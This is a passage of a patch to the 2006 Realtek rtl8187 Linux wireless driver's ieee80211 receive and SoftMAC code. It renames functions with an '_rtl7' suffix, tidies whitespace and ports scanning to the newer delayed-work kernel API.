dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1274,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1284,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1319,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1341,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1386,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1395,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1435,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-18 18:27:33.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac.c 2010-05-19 22:18:51.969358999 -0700 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device 